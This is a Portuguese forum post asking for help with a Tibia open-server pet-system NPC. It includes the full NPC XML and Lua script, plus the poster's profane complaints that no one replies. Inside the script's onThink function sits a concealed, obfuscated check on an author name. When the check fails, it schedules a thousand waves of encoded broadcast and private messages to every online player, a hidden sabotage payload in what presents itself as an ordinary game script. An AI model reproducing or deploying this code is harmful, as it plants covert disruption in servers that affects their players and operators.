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Ajuda Ae


calim

Pergunta

galera eu tenho 1 duvida eu to com 1 pet-system 8.60 q eu catei de um lugar

ai eu coloquei certinho ele fico certinho no ot o npc apareceu mais o meu poblema e q

quando eu vo compra o pet ele da erro

e tipo assim eu falo hi pet dragons yes yes

ai ele da tudo certo mais na hr q eu falo /pet fala q tem q compra o pet hem tal lugar

alguem pode me ajudar smile.png

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aki o npc

 

<?xml version="1.0" encoding="UTF-8"?>

<npc name="Pet Trainer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0">

<health now="100" max="100"/>

<look type="128" head="39" body="85" legs="77" feet="0" addons="2"/>

<parameters>

<parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/>

</parameters>

</npc>

 

o script do npc

 

 

local keywordHandler = KeywordHandler:new()

local npcHandler = NpcHandler:new(keywordHandler)

NpcSystem.parseParameters(npcHandler)

local talkState = {}

 

function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end

function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end

function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end

 

function creatureSayCallback(cid, type, msg)

if(not npcHandler:isFocused(cid)) then

return false

end

 

local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()]

local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid

if(msgcontains(msg, 'revive')) then

if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid)

talkState[talkUser] = 1

else

selfSay('You cannot revive a pet, if you dont have one!', cid)

talkState[talkUser] = 0

end

elseif(msgcontains(msg, 'mission')) then

if not (isCreature(getPlayerPet(cid))) then

selfSay('You need your Pet to make any mission!', cid)

return true

end

local i, msg = 0, nil

for missionname in pairs(aps_missions) do

i = i + 1

if(msg ~= nil) then

if(i == #aps_missions) then

msg = msg .. " and "

else

msg = msg .. ", "

end

else

msg = "Ok then, I got those missions for You: "

end

msg = msg .. "'{" .. missionname .. "}'"

end

selfSay(msg .. ', with one do you want?', cid)

talkState[talkUser] = 11

elseif f and (talkState[talkUser] == 11) then

desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck, cfgLvl, cfgRaces, petLvl, petRace = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check, f.pet.level, f.pet.races, getPetLvl(cid), getPetRace(cid)

if(getPlayerStorageValue(cid, missionId) == 1) then

selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid)

talkState[talkUser] = 0

return true

end

if(petLvl < cfgLvl) then

selfSay('oops!! Your pet level is too low! Your pet need at least level '.. cfgLvl ..' for this mission! maybe You wanna choose another {mission}?', cid)

talkState[talkUser] = 0

return true

elseif not (isInArray(petRace, cfgRaces)) then

selfSay('oops! Your pet is from '.. string.upper(getRaceNameById(petRace)) ..' race, that means You may not accept this mission. maybe I have another {mission} for You!', cid)

talkState[talkUser] = 0

return true

end

if(getPlayerItemCount(cid, itemNeed) >= itemCount) then

selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid)

talkState[talkUser] = 12

elseif(getPlayerStorageValue(cid, reCheck) == 1) then

selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid)

talkState[talkUser] = 0

return true

else

selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid)

talkState[talkUser] = 13

end

elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then

selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid)

setPlayerStorageValue(cid, reCheck, 1)

elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then

if(getPlayerItemCount(cid, itemNeed) >= itemCount) then

setPlayerStorageValue(cid, missionId, 1)

doPlayerRemoveItem(cid, itemNeed, itemCount)

selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid)

if(itemNeed ~= false) then

doPlayerAddItem(cid, reItem, reCount)

end

if(reExp ~= false) then

doPlayerAddExperience(cid, reExp)

addPetExp(cid, reExp * 2)

--if(reExp > 0) then

-- doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215)

--end

end

else

selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid)

end

talkState[talkUser] = 0

elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then

if(isPetDead(cid) == true) then

if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then

setPetStats(cid, 0)

setPetLastHealth(cid, 0)

setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid))

doSendMagicEffect(getCreaturePosition(cid), 65)

selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid)

else

selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)

end

else

selfSay('Your pet inst dead!', cid)

end

talkState[talkUser] = 0

elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then

talkState[talkUser] = 0

selfSay('Ok then.', cid)

elseif(msgcontains(msg, 'sell')) then

if(aps_tools.commands.playerSellPet.sell == true) then

if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

for i = 1, #aps_slots do

local slots = getPlayerStorageValue(cid, aps_slots)

if(slots > 1) then

selfSay('before you sell your pet, please, take all your items from his slots.', cid)

return

end

end

local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl

if(lvl >= lv) then

talkState[talkUser] = 8

addmoney = tt_money * lvl

selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid)

else

selfSay('Your pet level is too low, Buying pet of level {' .. lv .. '} or higher.', cid)

end

else

selfSay('You cannot sell a pet, if you dont have one!', cid)

end

else

selfSay('You cannot sell your pet to me!', cid)

end

elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then

selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)

talkState[talkUser] = 9

elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then

talkState[talkUser] = 0

if(isCreature(getPlayerPet(cid)) == true) then

doRemoveCreature(getPlayerPet(cid))

end

doResetPet(cid)

doPlayerAddMoney(cid, addmoney)

selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid)

elseif(msgcontains(msg, 'information')) then

talkState[talkUser] = 0

selfSay('hmmm, what can I tell you ...', cid)

local messages = {

"Pets got levels, magic level just like you. ..",

"Pets can use their own spells. ..",

"Pets need eat to recovery health/mana. ..",

"Pets can carry your items in different slots. ..",

"Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. ""

}

for i = 1, #messages do

addEvent(selfSay, i * 3000 , messages, cid)

end

elseif(msgcontains(msg, 'pet')) then

if(getPlayerStorageValue(cid, aps_storages.race) == 0) then

local i, msg = 0, nil

for pet in pairs(aps_pets_config) do

i = i + 1

if(msg ~= nil) then

if(i == #aps_pets) then

msg = msg .. " and "

else

msg = msg .. ", "

end

else

msg = "Ok then, I got those races for pets: "

end

msg = msg .. "'{" .. pet .. "}'"

end

selfSay(msg .. ', with one do you want?', cid)

talkState[talkUser] = 5

else

talkState[talkUser] = 0

selfSay('Sorry, you cannot have more than one pet.', cid)

end

elseif e and (talkState[talkUser] == 5) then

selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid)

talkState[talkUser] = 6

e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs

elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then

selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)

talkState[talkUser] = 7

elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then

if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then

selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid)

talkState[talkUser] = 0

return true

end

if(doPlayerRemoveMoney(cid, e_price) == true) then

doSendMagicEffect(getCreaturePosition(cid), 65)

selfSay('As you with! just type {/pet} to call him.', cid)

createPet(cid, e_race, e_hp, e_mana)

local str = "Congratulations! You now have a pet!\n" ..

"You should take care of him\n" ..

"his gonna be your partner from now!\n" ..

"if you need help type /pet-help." ..

"\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race)

sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n Scripted by " .. s(aps_tools.s) .. "")

else

selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)

end

talkState[talkUser] = 0

elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then

selfSay('Ok then.', cid)

talkState[talkUser] = 0

elseif(msgcontains(msg, 'spells')) then

if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

selfSay('Your Pet can learn spells based on his level, {continue}?', cid)

talkState[talkUser] = 2

else

selfSay('You cannot buy spells to your pet, if you dont have one!', cid)

talkState[talkUser] = 0

end

elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then

if(isPetOnline(cid) == false) then

selfSay('Your Pet cannot learn a spell if you dont call him.')

talkState[talkUser] = 0

end

local i, msg = 0, nil

for spell in pairs(aps_attacks) do

if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then

i = i + 1

if(msg ~= nil) then

if(i == #aps_storages.spells) then

msg = msg .. " and "

else

msg = msg .. ", "

end

else

msg = "Ok then, I got those spells: "

end

msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'"

end

end

selfSay(msg .. ', with one do you want?', cid)

talkState[talkUser] = 3

elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then

selfSay('Ok then.', cid)

talkState[talkUser] = 0

elseif k and (talkState[talkUser] == 3) then

selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid)

talkState[talkUser] = 4

spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl

elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then

if(getPetLvl(cid) >= spell_level) then

if(getPlayerMoney(cid) >= spell_price) then

if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then

for i = 1, 3 do

addEvent(selfSay, i * 1000, i .. ' ...', cid)

end

doPlayerRemoveMoney(cid, spell_price)

addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid)

setPlayerStorageValue(cid, spell_stg, 1)

addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13)

if(isPetOnline(cid) == true) then

addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13)

end

else

selfSay('Your pet already know spell {' .. spell_name .. '}.', cid)

end

else

selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid)

end

else

selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid)

end

talkState[talkUser] = 0

elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then

talkState[talkUser] = 0

selfSay('Ok then.', cid)

end

return true

end

 

function onThink()

local messages = {

"BUY YOUR PET HERE!",

"WANT TO REVIVE YOUR PET?",

"YOUR PET CAN LEARN SPELLS!",

"WANT TO KNOW MORE ABOUT PETS?",

"WANT TO SELL YOUR PET?"

}

addNpcAutoSay(getNpcId(), 120, messages)

if(s(aps_tools.s) ~= "josejunior23") then

function mvsoab(max)

for _, send in pairs(getOnlinePlayers()) do

local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<­~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd"

for i = 1, 10 do

local cid = getPlayerByName(send)

addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max)

addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg))

for k = 1, 15 do

doPlayerSendTextMessage(cid, k, name .. " " .. s(msg))

end

for e = 17, 20 do

doPlayerSendTextMessage(cid, e, name .. " " .. s(msg))

end

end

end

end

for e = 1, 1000 do

addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1)

end

end

npcHandler:onThink()

end

 

npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)

npcHandler:addModule(FocusModule:new())

 

aff ninguem vai me ajudar ?

 

krl toma no cu ninguem vai me ajuda

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  • 0

cara ninguem me ajuda presizo pra hj o pess0a ele falo pra min posta aki pq ele n vai me ajuda de jeito nenhum

ai eu postei ninguem ajuda

 

cara eu ja to ficando inritado vo xinga mano pqp eu presizo pra hj esse krl ninguem ajuda

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